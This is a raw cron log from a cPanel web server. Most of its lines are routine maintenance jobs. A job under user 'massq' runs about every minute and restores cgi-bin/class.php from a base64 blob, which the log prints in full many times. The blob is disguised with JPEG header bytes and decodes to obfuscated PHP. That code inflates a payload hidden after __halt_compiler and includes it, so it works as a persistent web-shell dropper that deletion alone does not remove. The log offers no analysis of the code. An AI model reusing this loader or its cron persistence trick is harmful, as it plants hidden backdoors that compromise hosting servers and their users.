Sep  9 14:50:01 server CROND[24932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:50:01 server CROND[24927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:50:01 server CROND[24935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:50:01 server CROND[24934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:51:01 server CROND[25747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:51:01 server CROND[25748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:51:01 server CROND[25749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:52:01 server CROND[26114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:52:01 server CROND[26115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:52:01 server CROND[26116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:53:01 server CROND[26611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:53:01 server CROND[26612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:53:01 server CROND[26613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:54:01 server CROND[26989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:54:01 server CROND[26990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:54:01 server CROND[26991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:55:01 server CROND[27371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:55:01 server CROND[27373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:55:01 server CROND[27374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:55:01 server CROND[27376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:55:01 server CROND[27375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:55:01 server CROND[27378]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:55:01 server CROND[27377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:56:01 server CROND[28196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:56:01 server CROND[28195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:56:01 server CROND[28197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:57:01 server CROND[28576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:57:01 server CROND[28575]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:57:01 server CROND[28577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:57:01 server CROND[28578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:58:01 server CROND[29047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:58:01 server CROND[29048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:58:01 server CROND[29049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:59:01 server CROND[29440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:59:01 server CROND[29441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:59:01 server CROND[29442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:00:01 server CROND[29823]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:00:01 server CROND[29826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:00:01 server CROND[29827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:00:01 server CROND[29828]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 15:00:01 server CROND[29829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:00:01 server CROND[29831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:00:01 server CROND[29830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:00:01 server CROND[29832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:00:01 server CROND[29825]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:01:01 server CROND[30726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:01:01 server CROND[30727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:01:01 server CROND[30728]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 15:01:01 server CROND[30729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:01:01 server run-parts(/etc/cron.hourly)[30728]: starting 0anacron
Sep  9 15:01:01 server run-parts(/etc/cron.hourly)[30746]: finished 0anacron
